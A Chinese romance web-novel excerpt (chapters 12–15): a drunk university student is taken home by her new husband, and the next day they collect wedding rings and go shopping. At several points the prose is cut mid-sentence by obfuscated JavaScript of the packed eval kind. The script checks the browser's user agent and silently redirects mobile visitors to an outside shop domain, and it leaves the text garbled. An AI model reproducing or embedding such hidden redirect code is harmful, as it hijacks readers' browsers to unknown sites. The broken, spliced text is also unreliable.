秦羽鹭见状，低头笑个不停，等那人走了，才搂着常妙的肩，把她手里的酒瓶推到了一边。 “干嘛？” 常妙奇怪地看她。 秦羽鹭仔细打量着常妙的表情，然后果断地把那瓶酒又往远处推了点。 “你已经在醉酒的边缘徘徊了，姐妹。” 常妙摸摸自己的脸，声音闷闷的，“有吗？我感觉我还挺正常的啊。” 秦羽鹭：“现在是还正常，但是再喝就要醉了！” 大学四年，她可太清楚常妙的酒量了，能喝是能喝，但是很莫测，因为她喝酒不上脸，要判断她醉不醉只能看行为，偏偏她酒品还挺好，除了胆子比平时大了点，容易犯困之外，其他也没什么了。 但就算是这样，她们俩今天只是出来玩而已，用不着喝得醉醺醺的回去，点到即止就行了。 秦羽鹭彻底打断她的念头，“不喝了，我也不喝了，咱们吃点东西，一会儿蹦迪去？” “那不给蹦吐了？”常妙皱了皱眉，做出一个呕吐后嫌弃的表情，“要蹦现在去，就算吐了也好看点。” 秦羽鹭一联想，也皱了皱眉，“那行吧，晚上姐姐再请你吃大餐！” 两人从凳子上下来，秦羽鹭把蛋糕暂存在吧台的小哥那，正要走向舞池，手机突然震动起来。 秦羽鹭看了眼来电显示，表情有一瞬不耐，片刻后，转头拍拍身边的常妙，“在这等我一下，我去接个电话。” 常妙点头，“好，你去吧，小心坏蛋哦。” 秦羽鹭笑了下，穿过人群，进到了卫生间里。 12. 第 12 章 “喂，妈。” 秦羽鹭唇上还留着笑，嗓音却没了方才的气力，她下意识想靠在墙上，但刚碰上又站直了，撑着腰看向窗外。 电话里的女人语气仿佛压着不耐，“羽鹭，你现在在哪儿呢？” 秦羽鹭：“学校啊。” 秦母：“学校会这么吵？是不是在外面呢？” 秦羽鹭也没想过能骗过她，既然说出来了，她就认，“嗯，外面呢，有事吗？” 秦母呼吸有些重，“这两天你见过你弟弟没？” “他？”秦羽鹭轻嗤了声，“我又不在家，我去哪见他。” 秦母：“秦羽鹭，你好好说话行不行，那是你弟弟！” 秦羽鹭挑眉，难道事实不是这样吗，她现在基本都在学校宿舍住着，能见得着那小子吗？ 夜里的风扑面的凉，常妙还在外头等着，秦羽鹭不想再在这闲扯了，干脆直说：“他又跑出去了？” 秦母听她开了这个口，语气立马好了不少，“是啊，老师给我打电话我才知道他今天就没去上学，肯定是被他们学校那些坏孩子带的！羽鹭，霖霖平时最听你的话，你去找找他，这么晚了还不回家，出事了可怎么办。” 秦母的话完全在意料之内，秦羽鹭缓慢眨了下眼，只问了一句话，“妈，你记得今天是什么日子吗？” 秦母思索半晌，忽然意识到什么，但自从跟秦父离婚再嫁后，她跟女儿的关系疏远了不少，过生日基本都只是转个红包给她，现在被秦羽鹭当面这么一提，一时半会儿的，那四个字还挺难说出口的。 片晌，她讪笑了下，“等你和霖霖晚上回来，妈让家里阿姨给你做顿好的，好好替你庆祝一下生日啊。” 秦羽鹭勾唇，不再提这茬，“行了，没别的事我就挂了。” 秦母着急，“赶紧去找你弟弟！” 秦羽鹭：“知道了。” 从卫生间出来，秦羽鹭远远就望见了常妙，她还在原地等着，但似乎等的无聊了，又把那半瓶啤酒抱过来在喝。 秦羽鹭眼皮一跳，快步走过去，从她嘴边把酒瓶拿走。 常妙一看是她，也不生气，拉着她的胳膊就往舞池的方向走，“回来啦，那咱们去跳舞吧！” 秦羽鹭没动，她发现常妙刚才走那两步都是歪的…… “妙妙，先过来坐下，我跟你说件事。”秦羽鹭把人拽回来，按在座位上。 常妙：“怎么了？” 秦羽鹭神色抱歉，“我妈刚才给我打了电话，有点事，得先走了。” 常妙愣了下，失落是有的，但还是很贴心地道：“好吧，有事的话，你就先回，路上注意安全。” 秦羽鹭下意识问：“那你呢？” 常妙抱回刚才被秦羽鹭拿走的酒，晃了晃，“我把这个喝完就走。”说完，又小小声，“花了钱的呢，别浪费。” 秦羽鹭眼底的不放心更重了，找孔霖是要去的，但他都高中了，一个大男生不差这么一时半刻的，她首先还是要给常妙想办法送回去。 常妙见她还不走，挥了半天的手放下，喝了一口酒然后靠在吧台上看她，意思很明显，就是你咋还不走？ 秦羽鹭无奈，“我得先找人把你带回去呀！” 好吧，常妙是理解的，女生嘛，是得多注意些。 秦羽鹭先给陆依然打的电话，放假了她应该会在租的那个房子里住，把常妙接过去也方便，但接通电话后，陆依然居然去旅游了，现在正在机场。 秦羽鹭于是又拨了赵婕的电话，可怜的打工人加班还没结束…… 李茜熙那边秦羽鹭就不想考虑了，人家两个情侣住一起，常妙过去多尴尬。 秦羽鹭提出建议，“你要不要回家？” 常妙一听，疯狂摇头，“不回不回！我喝了酒可不能让我妈看见！” 也是，但是这样的话…… 秦羽鹭就有些犯愁了。 常妙看秦羽鹭一会儿抬起手机，放下，抬起手机，又放下，心知是为了自己，她不禁也有点跟着发愁了。 圆润的腮帮鼓了鼓，突然，她眼睛睁大，拍拍秦羽鹭的肩膀，很自信地笑着说：“别担心，我摇人！” 说罢，常妙快速翻出一个电话，拨了过去，秦羽鹭看到了那个备注——梁先生。 …… 二十分钟后，一个跟此刻午夜场格格不入的男人走进了酒吧。 秦羽鹭比常妙还要早发现他，实在是他的打扮在这里太另类了，雪白色的衬衫，黑色西裤，高挺的鼻梁上架着一副细框眼镜，正经得过分，乍一看过去，简直像是来酒吧抓小孩的家长。 她碰碰常妙，让她确认。 常妙一回头，倒是很开心地扬起了唇，“阿嵛！” 梁嵛看见她了，电话里常妙只说想要他来接她，又听地方是酒吧，他还以为是遇到什么事了，但看她现在的模样，乐呵呵的，似乎一切安好。 他神色微微放松，径直走过来后，对秦羽鹭点头打了个招呼，便低头去看常妙. "喝醉了？"他问。 秦羽鹭想到什么，赶在常妙开口前说：“没醉，只是晚上了，我有点事得先走，想着还是要有个人送她回去才安全些。麻烦你了，把她送回学校就行！” 到底是人不可貌相，就算是男朋友，就算长得还不错，年龄差摆在那，交往时间也不久，万一她说醉了，这人路上起了歹心怎么办！ 常妙表现得也很好，讲起话来逻辑通顺，不像醉酒的模样。 “放心吧，我到宿舍会给你发消息的。”说完，又上前抱抱她，“生日快乐哦羽鹭。” 秦羽鹭轻笑，碰巧这时手机又震动起来，她轻吐了口气，不再多说，“好啦，那我就先走了，你们路上也小心。” 常妙立正站直，“好，拜拜！” 秦羽鹭走后没一会儿，常妙和梁嵛也从酒吧里出来了，外面的天彻底黑了，地面上有潮湿的痕迹，好像不久前又下了一场雨，空气中渗透着寒凉的气息，风一吹，直往人皮肤里钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977423|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 还有点，晕乎乎的？ 常妙吸溜了下鼻子，转头瞅向旁边的男人。 梁嵛察觉到她视线，“怎么了？” 常妙抱着胳膊巴巴看他，“我冷。” 冷？ 然而不等梁嵛多反应，常妙直接指着他身上的风衣说：“这个，能给我穿吗？” 两人对视片刻，梁嵛将风衣脱下来给了她。 如愿得到了保暖的衣服，常妙很欣慰，立马朝梁嵛乖巧地伸出胳膊。 梁嵛很快明白她的意思，他展开风衣，长臂从前向后绕过常妙的脑袋，给她套上，最后好人做到底，顺带又帮她整理了下衣领。 “现在暖和了？” 他垂眸看着身前的女孩——其实主要还是在打量他的风衣，他的风衣对于常妙来说还是太大了，长度尚且还行，但袖子就有些过长了，常妙往上抻了抻才把自己的手露了出来。 常妙不在意这些，听见梁嵛问她，只管弯着眼笑眯眯说：“暖和，上面还有你的体温呢。” 梁嵛一怔，安静片刻，“嗯，走吧，我送你回学校。” - 路上不巧，偶遇了一次追尾，梁嵛再把车开到庆大的时候已经过了门禁点，常妙给他另外指了个方向，那边是个小点的侧门，他们庆大的学生过了门禁点再回去，通常都是从那边翻栏杆。 梁嵛以前也是干过这些事的，在街道边停好车，本打算看着常妙安全过去了再走，但让人没想到的是，常妙没带宿舍钥匙。 彼时，她正坐在围栏最高处，被冷风吹得很无助，因为继没带钥匙后，常妙又惨然发现，自己下不去了……印象里自己不恐高啊，怎么就下不去了？ 不对，她肯定能下去的，她是翻墙大王，会七七四十九种翻墙方法，怎么可能会下不去！ 常妙很不解，梁嵛在下面看得很震惊，为什么会有人把栏杆和自己打成结啊？ 怕她在上面乱踩摔下来，梁嵛蹙了下眉，伸出手让她抓住自己。 “妙妙，下来。” - 宿舍回不去，家里不能回，两人只能去梁嵛家了，梁嵛倒没什么想法，在他的观念里，他们已经是夫妻了，住在同一屋檐下也很正常，而常妙本该紧张的，可谁叫车上太舒服了，她又困，没一会儿就睡着了。 等到达梁嵛家小区的时候，时间已经过了零点了，常妙更是睡得安稳，梁嵛本想叫醒她，但当手快碰到她的时候，顿了片刻，又收了回来。 …… 困顿中，常妙感觉到自己好像抱了一个大玩偶，很温暖，还一晃一晃的，像小时候坐的摇摇车，只是阴风阵阵扑面，实在冷，没多久给她又冻醒了。 “……啊！” 因惊吓从嗓子眼里冒出的音像猫一样，常妙倒吸一口气，连忙手脚并用地扒住前面的人。 她还没从这种视角走过路呢！ 两侧的景色不再后移，常妙缓下心跳，探头愕然确认着正背着她的男人，“梁嵛？！” 13. 第 13 章 “嗯。”梁嵛应了一声，“醒了？” 低沉的男声在距离脸颊很近的位置传了过来，常妙张了张嘴，反应了半天才呆呆问道：“你不是出差了吗？” 梁嵛低眸看着胸前某人无意识掰算着的手指头，轻叹了口气。 “提前回来了，晚上到机场的时候给你发过消息，你没看到？” 有点尴尬的提问……很不巧，她又没注意到，不过提到这个，常妙倒是想起来晚上的事了，大概是睡了一觉，脑子开阔了不少，她甚至还想起来自己当街抢人衣服，以及挂在学校墙头下不来被梁嵛手动掰下来的场景…… 常妙伏在他背上，手指心虚地蜷了蜷，没好意思接这茬。 正巧目及周围一排排冰冷的轿车，她扑闪着睫毛，立即转移话题说：“那个，我们这是在哪啊？” “我住的地方。” 两人的斜前方正是一处电梯，梁嵛用下巴示意，“从那上去就到了。” 常妙顺着他指的方向看过去，眼睛一时睁大。 “还是你想回去？” 常妙心中升起喜悦。 可以的话，当然—— “但建议你还是住一晚吧。” 梁嵛这时蓦地出声，“过了末班车的点了，我还有工作没做完，今天送不了你。” 常妙一愣，车库里的冷风好像忽然又找回了存在感，嗖嗖地刮脸。 她悄悄埋低脑袋，只留一双圆圆的葡萄眼在外面无措眨巴着，“那，那就不回了……” - 正如梁嵛所说，能放到这会儿还要去做的工作自然是紧急的，他把人带回家后，再多的也顾不上说，给常妙去厨房冲了杯蜂蜜水，然后又到卧室翻出两件自己没穿过的衣服给了她，接着就进书房工作去了。 常妙手里的水还没喝完，也就拳头高的杯子，水量不算多，杯口压在唇边，仰头咕嘟咕嘟就喝了个干净。 也许是今夜的状况比较多，地下车库时梁嵛说的那句话还不断在她脑子里回放。 真的好直白啊…… 为什么这人可以如此不假思索地说出拒绝的话来？ 当然了，她不是第一次发现梁嵛讲话直白这件事，也不是为他那么说话感到不舒服，反而是感到羡慕——想到什么说什么，碰见不合适的就直接讲，拒绝内耗，真的超级厉害的好吗！ 常妙甚至幻想，如果那个时候换做是她，梁嵛提出想回家，那她一定累死自己也得给他送回去！ 梁嵛他们家是一梯两户的设计，面积挺大，主卧和客厅各有一个卫生间，但估计是只有他一个人住的原因，洗漱用品什么的基本都在主卧的那间里放着，常妙因此也是在主卧的卫生间洗的澡。 原先的衣服好像被酒吧里的烟酒腌入了味儿，常妙开始犹豫了下，但还是受不了，干脆连着内衣一块儿洗了。 晾一晚上呢，这么长时间总能干个差不多吧？春天衣服也不厚，到时候就算潮一点，也比臭乎乎的好。 想到这里，常妙又记起来梁嵛的那件风衣，她穿了那么久，估计也沾上味道了。 要不一会儿也洗了？ 常妙动作快，三两下揉搓过水完，拧干，就准备去大门那边拿风衣，然而她刚把卧室门打开，下一秒，对面房间的门也开了。 抬头望见梁嵛的那一瞬间，常妙整个麻了。 她……没穿……内衣啊！！ 原本打算跑出去把衣服拿了就进来的，她根本没想到梁嵛会这时候出来！ 此刻，梁嵛端着个空杯子，目光淡而探究地落在她身上，不知怎么，就这么跟她僵持了半天还不说话，这种安静让常妙感觉很不妙，仿佛暴风雨前的平静。 梁嵛：“你……” 梁嵛开口了！ 常妙一个激灵，绷着身子，严阵以待着他接下来要说出的话。 梁嵛身上还是出门时的那身衣服，往前迈步时，黑色西裤随着膝盖的弯曲微微上扯，几道利落的褶皱极快地勾画出对方掩在布料下的双腿来，笔直，有力，却又吝啬给予任何人窥探的机会从眼前一闪而过。 与之匹配的本应还有皮鞋轻碰瓷砖的清脆声，但此时梁嵛的脚下唯有一双藏青色的老头款塑胶拖鞋，实在让他难以撑住空气中的紧张感。 过久的使用已经促使这款拖鞋的质量直线下降，梁嵛每一步往前，常妙都能听见由于体重挤压出去的苟延残喘声，所以当梁嵛把手背贴在她的额上时，常妙的眼神中还带着一丝注意力未收回的迷茫。 “脸怎么这么红？”梁嵛垂着眼皮，视线扫过她的耳朵、脖颈，语气略慢，自问自答般思索，“喝醉酒是不是不适合立刻洗澡来着？” 常妙：“……” 不管怎么样，经过一阵“你问我答”，梁嵛到底是没关注到某些特别的地方去，常妙将自己的皮肤红的事统一归咎到洗澡水太热上去，梁嵛听了倒也理解，后面又听她说要去洗自己那件风衣，他微愣后，不免看了眼客厅里的挂表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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常妙脚下趿拉着过大的拖鞋，抿住唇，小碎步踩着赶紧去挂了衣服。 堪比一场惊险的敌特任务，一切结束后，常妙扶墙站在黑暗里安抚地拍着自己的胸口。 好了！总算能睡觉了！ 残存的醉意催发着困倦，放松下来的身体自然转向主卧的方向，常妙正面色安详地往光亮处走着，但当步子迈进主卧的那一刻，她如梦初醒般僵住。 等等。 梁嵛他没跟她说睡哪啊！！！ 14. 第 14 章 睡哪？ 面前不就摆着一个很明显的答案吗。 常妙曾想过要不要去对面再问问，但鉴于两人是有红本本的关系，怎么就不能睡在一张床上了呢？ 在原地站了三分钟，常妙保持微笑，僵硬地推门，关门，躺平了…… - 惊醒后的感觉总是伴有漫长的回神，天色蒙蒙亮，白色的墙面却仿佛被刷了一层淡淡的灰蓝，常妙眼皮没精神地缓慢眨着，仔细看的话，里面似乎有什么正在努力挣扎。 突然，枕边一阵震动，是手机闹钟响了。 床头柜是木的，手机放在上面动静尤其大，几乎是响起来的第一秒常妙就彻底清醒了。 她平时在宿舍住，怕打扰舍友，闹铃习惯性地只开震动，但她睡在上铺，手机只能放在床上，所以她已经很少大清早的听见这么刺激的震动声了。 拇指熟练地迅速往右一滑。 世界终于安静了—— 常妙深呼吸了下，周围陌生的环境随着她的掀眼逐渐现于视野，同时，也让这口气有了出没了进。 大概是昨天喝了酒，过了一夜，有些事情变得不是那么清晰，但她还记得她后来是在梁嵛的家里借住的。 而这间屋子，以及这张床…… 常妙猛然想起什么，立即扭头朝床的另一边看去。 想象中的画面居然并没有如期展现出来，一米八的床，常妙自己占了三分之一的位置都不到，剩下的地方空荡荡的，一览无遗，凌晨的微光洒在灰色的被褥上，有种深山老林感的冰冷。 没人？ 常妙不由讶异，那昨天梁嵛是在哪睡的？ 不知道为什么，常妙一点也没想过梁嵛会有去客厅睡沙发的可能。 她把手伸到另一边的被子底下感受了下，凉的，再看枕头，明显有凹陷的痕迹。 所以梁嵛昨天肯定也在这张床上。 可他现在人呢，才六点半，天都没大亮，他能跑哪去？ 大清早脑子转的慢，可也不妨碍常妙已经积攒了许多经验，其中一条，还是昨天才发生，她摸了摸脸上睡出来的红印子，拿起手机，点进微信。 杂乱的列表中，属于梁嵛的头像上方果然有一个小红点。 梁嵛：【我去买菜了。】 发送时间是六点整。 …… 梁嵛回来的时候七点刚过，常妙在客厅听见按密码的声音，立马朝门口迎过去，“回来啦。” 想着梁嵛还拎着东西，常妙让出过道位置的同时，也伸出手准备接过来，但她刚动了下，就看见紧跟在梁嵛后边进来的小推车…… 是的，就是那种大爷大妈没事出去逛买菜用的购物小推车！ 大概是常妙呆住的时间有点长，梁嵛出声问：“怎么了？” 他今天只穿了一身休闲服，灰色的无帽卫衣除了在左胸口的位置有一个小标，整体剪裁没有任何繁冗的装饰，看起来特别居家，常妙把自己的视线从小推车上拉扯开，无意识又打量了下梁嵛今天的穿着，然后才说：“没什么，买的都什么菜啊，我帮你拿吧。” 梁嵛摇了下头，他当初买这个小车的目的就是图方便，解放双手，现在又哪用得着常妙给他拿，只不过，他抬起右手，“买了两碗豆腐脑和油条，帮忙去厨房拿两个碗装着吧，一会儿吃。” 常妙应下来，她这边动作快，找两个空碗放着就行，从厨房出去的时候，梁嵛刚把小推车里面的菜拿出来堆放在了餐桌上。 有些是生肉，有些是时令的蔬菜，还有两袋子水果，个个新鲜水灵，常妙看了眼，不免有些意料之中但又不得不的惊叹，这也太会挑了吧！ 她突然想起之前有一次跟方程兰、方程南去买菜，那会儿他们三个刚刚租到现在的这个小房子，一切重头来过，有数不清的问题需要他们一一解决，而首当其冲的，就是吃饭。 可以说，因为外公的关系，他们家这两代都没吃过苦，以至于三个人里连一个会做饭的都没有，顶多是方沉兰会拌拌水果沙拉罢了，可他们哪儿能天天吃水果沙拉呢，并且，那是他们第一次发现，一斤水果有时候比一斤肉都贵！ 后来他们没办法，不会做怎么办呢，只能学啊，常妙多数时候都在学校住着，舅舅方程南白天又要出去找工作，最后剩一个方沉兰暂时没事，这个重任自然就交到了她的手里。 那天下午，是她和舅舅陪着方沉兰一起去买的菜。 三个人互相给彼此参谋着，回家路上还挺高兴，就等着方沉兰晚上“大展身手”，可惜这股兴奋劲到最后凄惨地消失在了洗菜切菜的过程中…… 表面光滑的土豆里面实际是个黑心，绿油油的小葱洗掉了色儿，他们连炒菜那一步都没坚持到！ 梁嵛放完推车回来，看到的就是一副常妙站在餐桌边脸上好奇不已的画面，她用食指小心翼翼地勾住袋子的一边，时不时地还低头嗅嗅，绿色的小青菜并没有什么特殊的味道，但她看着却像是闻到了什么好闻的香味，探头探脑的，像只被食物吸引钻出洞来的小兔子。 许是察觉到了动静，常妙抬起头朝他这边看过来，“你这些菜都是去哪买的啊，好新鲜！” 梁嵛走过去，“早市。” “早市。”常妙默念了一遍，“早市上都是卖菜的吗？你每次买菜都是去那吗？” “不是每次都去，它一般八点左右就结束了，所以有空才去。”梁嵛说，“里面也不全是卖菜的，也有水果，或者水产。” 常妙稀奇得很，给他竖起一个大拇指，“你工作那么忙还愿意起这么早去早市买菜，真有毅力！” 不知怎么，梁嵛脸上蓦然浮起些笑意，依旧如以往，淡淡的，却融化掉了几分他眉间的那种严肃感。 大约面对着一个话多的人，自己也容易被带动，梁嵛又多说了几句，“早市买菜比平时便宜，我每次买一周的量，能省点钱。” “欸？”常妙一愣，没想到是这么个答案。 梁嵛看着她的表情，好似忽然记起什么事情。 银边镜下的眸子垂下，连着方才的笑意也悄然褪去，但他没作声，实际上也没任何负面情绪，只是恢复了往常的模样，拎起桌上的菜准备放进冰箱。 冰箱里还有他出差前剩下的一点豆角，这东西不怕放，但这么久了也不能再放了，梁嵛把它拿出来，放进今天新买的菜，打算中午做个豆角焖面。 他做事认真，每一层还会大概分个类，也没注意自己旁边什么时候站了个人，直到手上的工作做完，准备把剩下的菜再拿过来的时候，一转头，发现常妙正乖乖巧巧地站在他身边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003721|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她把剩下的菜都拿过来了，见他低头，立马把手上的东西举了起来。 梁嵛怔然，回过神来正想说“谢谢”，常妙却在这时亮起眸子十分期待地问道：“那你下回能带我去吗？我也想省钱！” 梁嵛：“……” - 梁嵛答应了，但在这之前，还有件事需要他们去做。 戒指的取货期到了。 原先梁嵛预计的是自己回不来所以把这件事托给了常妙，但现在他回来了，而常妙又在他家，两人干脆就一起去了。 商场早上开门晚，他们也不特地去赶那个点，在家吃了饭才去。 下午出门，常妙捂着肚子少见地安静。 梁嵛透过电梯门看她，“还难受？” 常妙不想回答，有点丢脸，她现在确实难受，但不是因为别的，而是吃撑了……关键谁能想到这人做饭这么好吃啊！ 她现在在学校早餐时常因为熬夜睡过头就不吃了，中午在食堂她也主要吃点便宜的素菜，下午到晚上的时间她基本都是在画画，赶稿子，经常会忘记吃，实在饿了就冲一杯芝麻糊，所以偶然一顿吃多了免不了就会难受。 梁嵛：“那一会儿取完戒指再多走走，消消食？” 常妙这回点了头，“行。” 梁嵛开车去的，到商场也就几十分钟，昨晚来这的时候常妙睡着了，现在白天，一路上倒是能多看看。 正如梁嵛之前所说，他家离庆大确实远了点，坐地铁的话大概得有个□□站，常妙从小长在梧溪，知道这边是前些年才修盖起来的一片新住宅区，房价挺高，梁嵛毕业三年就能买这么一套房真的很可以。 梁嵛刚刚给她指了早市的位置，听她这么说，便解释了句，“托朋友的人情，不然的确也买不起。” 到商场的时间刚好，店里没什么人，常妙把小票从自己的手机壳里拿出来交给店员，没多久店员就从后面取出来了。 两人试戴了下，梁嵛的尺寸没问题，常妙摸着无名指的戒指，居然也合适。 “合适合适，很好看，祝你们新婚快乐，白头偕老啊！” 店员以为他们俩是快要结婚的小情侣，很自觉地就冒出了一串祝词。 梁嵛：“嗯，谢谢。” 常妙不由抬头看向梁嵛。 接的还挺快。 不过结婚是事实，常妙也不能说不对，她最后看了眼戒指，摘下来，打算交给梁嵛保管。 梁嵛却已经把盒子盖上了，“先戴着吧，你回学校再摘。” 常妙一顿，不置可否地又给戴了回去。 - 负一层有个超市，一条长长的过道里就属那边人最多。 常妙这会儿没法走快，拖累着梁嵛也跟她一起慢吞吞地迈着小步，他个子高，就算刻意迁就，看起来也还是有点委屈他那双大长腿了。 常妙不好意思，主动跟他搭话，“一会儿去那你要买什么？” 去超市是梁嵛提议的，他已经在心里列好了几样东西，说道：“给你买点日常用品。” “我？”常妙惊讶，“我不需要啊。” 梁嵛挑了下眉，眼神里有真诚的疑惑，“那你以后还要穿着今天的那身衣服？” 常妙这才明白梁嵛的意思，是要买她在他家的日常用品！ 15. 第 15 章 鉴于两人的关系，以及未来基本定向的发展，常妙没有理由拒绝。 她去推了个购物车，又被梁嵛接了过去，只好当个闲人在旁边慢慢溜着自己。 当然，闲人也是有用的。 就比如在买拖鞋的时候，他会问问自己的鞋码，在买家居服的时候，他也会问问自己的码数，然后顺便再在她身前比一下。 “妈妈，那个姐姐也和我一样有大人在给她比衣服欸！” 不远处一个同样被妈妈拉着试衣服的小男孩天真地说出了自己的发现。 常妙：…… 不想被小朋友观摩，常妙也不挑款式了，一把抱住梁嵛正拿在手里的那件就把人推着往外走。 “这件就挺好，走吧！” 好不容易逃离了那片尴尬的区域，常妙晃着脑袋长长吐了一口气，回忆着刚才买的也差不多了，想问问梁嵛要不要走，但是突然间，面前的男人停下了。 然后转头去了右手边的一排货架。 琳琅满目的一大片同类货品在下一秒极具冲击力地撞入常妙的视野，而更有冲击力的，是梁嵛。 他拿着一包粉色的卫生巾神情专注地看着，不知道是在研究什么，但肯定没研究明白，所以他扭头朝常妙看过来，发问：“你平时用的哪个牌子的？” 常妙：……………… - 今天这一趟超市之行，收获满满，满到回程的车上常妙已经无力再说话了。 至少在忘记梁嵛企图跟她探讨卫生巾240和420的区别和用途之前不行！ 她低头翻着手机，努力地转移注意力。 “对了，好像还是漏了样东西，擦脸油你用什么？需要买吗？” 常妙正巧看见之前的一个单主给她发的消息，脑海里缓慢地过了一遍“擦脸油”三个字，嘴角没忍住小小地提了下，“其实用你的也可以，如果你不介意的话？毕竟我现在还在学校住，可能到你这边的机会不多，下次有机会的话，我再把我宿舍多余的拿过来，你觉得呢？” 常妙这话说的婉转了点，其实在她毕业前，应该再没什么机会会过来住的，所以也用不着所有东西都备着，今天已经买了很多了。 梁嵛点头，“那行。” 回去的速度比来时快了很多，发动机在偌大的车库一角微微震动着，梁嵛熄火，拔钥匙，正准备解安全带下车时，余光却注意到常妙低着头思索着什么，好像没发现已经到了。 梁嵛看了她两秒，发现她还在走神，便又坐了回去，“怎么了？” 常妙听见声音，“啊，没什么，就是有个单主找我画稿来着。” 她笑了下，然后扫眼车窗外，“到了是吧，我帮你把东西拿上去。” 后车厢已经打开，常妙主动去拎袋子，三个大袋子，沉甸甸的坠着，小姑娘提着好像一下子就被压低了个子，梁嵛从她手里接过两个重的，留了一个轻的给她，然后才领头朝着电梯的方向走去。 “你是需要电脑画画吗？”电梯还没到，梁嵛想着刚才的事问了句。 常妙没想到他居然这么细心，一猜即中，她刚才确实在苦恼这个问题。 多一个稿件就是多赚一份钱，除非忙不过来，否则以她现在的情况一般不会拒绝接稿。 但她现在偏偏没有工具在跟前，而且她本来打算今天回学校的，中午那会儿也给秦羽鹭发了消息，问她在不在宿舍，她没带钥匙，如果宿舍没人就算回去了也进不了门，但不知道为什么，羽鹭一直没回她。 两个人认识这么久，就像羽鹭了解她家的情况，羽鹭家里的情况她同样也多少知道点。 总体来说，比较复杂。 离异家庭，分开重组，再加上重男轻女……所以在想到昨晚羽鹭说要去找她弟弟后，常妙还是没敢拨出这个电话打扰她。 可这问题不就来了，这个稿到底接不接？ 一张图，好几百块钱呢！ 常妙没吭声，答案却显而易见了。 梁嵛想了下，“那iPad可以吗？” “家里有一个，我不常用，一直放在书房。” 常妙一愣，随后眼睛蹭地亮起来，“可以呀！你能借我吗？” 梁嵛望着她，轻点了下头，“嗯，回去给你拿。” - 常妙要画稿，地方当然要安静一点才好，梁嵛让她去了书房，里面有桌子有椅子很方便，而且这边房子隔音效果不错，房门一关，一会儿他要做些什么也不会吵到她。 连绵几日的阴雨终于在今天下午破了晴，阳光从窗外洒进来，斜斜地铺落到了白色的电视柜上，像是附加了一层滤镜般，同时映暖了整间客厅，梁嵛望着那道光照下的桌面，撸起袖子，开始做家务！ 国人对于房子好像大多都有执念，属于所有身外物里最重要的那一项。 大概是它承载的东西比较特殊，于是让人觉得有了一套房子也就等同于有了自己的一个家，一辈子就能有了一个归属。 梁嵛逃不脱世俗，当初买下这房子的时候也是这么想的，所以这间屋子里的一切他都很上心。 他人虽说是没情调了些，不像陆依然，租的房也会买点鲜花摆着，但除此之外，家里的卫生状况他一贯保持得很好。 扫地、拖地、洗衣服，梁嵛一样不落，还有下午买回来的东西，零零碎碎的，他也挨个摆放到它们应该在的位置上，一套流程下来，再到做完饭，外面的天都快黑了。 七点钟，梁嵛把饭菜端上桌，想了想，还是先去叫了常妙。 “咚咚咚。” “咚咚咚——” 常妙画画时很专注，直到梁嵛敲了第二遍的时候才抬起头。 梁嵛把门打开了一条缝，“饭做好了，要先吃饭吗？” 屋内没开灯，光线有些昏暗，常妙望向门口的时候看不清人脸，只能看到占据面积较大的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017618|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件红格子围裙，她中午的时候也见到过。 眼睫忽地眨了下，“好，马上，我洗个手就去。” 常妙不好意思叫他等，说完立马关掉平板就去了卫生间洗手。 从卫生间出来，要路过客厅，不知道是不是她的错觉，她总感觉客厅……或者说是眼睛所能看到的地方都好像有了点变化。 她记得下午出门前沙发上的几个靠垫是歪的，还有茶几上，原先只剩几张的抽纸现在是新的一整包了，地面也干净了不少。 是梁嵛打扫了吗？ 似乎是在验证常妙的这个想法，阳台上搭的一排排衣服迎风而动，吸引了她的注意。 不过片刻。 常妙确定了。 梁嵛确实打扫了，不止打扫了，还把他们今天在超市买的睡裙给洗了，包括那两条新买的女士内裤…… 呼吸在此刻变得有些艰难，幸好那是没穿的，不然真是…… 常妙捂住脸，不知道该说什么好，唯有一点。 梁嵛他真的很代入丈夫这个身份。 “在看什么？”桌上的碗筷已经摆好了，梁嵛见常妙站在客厅许久不动，便走过来询问道，他手上还拿着刚解下来的围裙，他从常妙的视角看过去，也瞧见了那几件衣服。 沉默了两秒，梁嵛解释，“嗯，刚买回来的衣服比较脏，不能直接穿，所以我就洗了。” 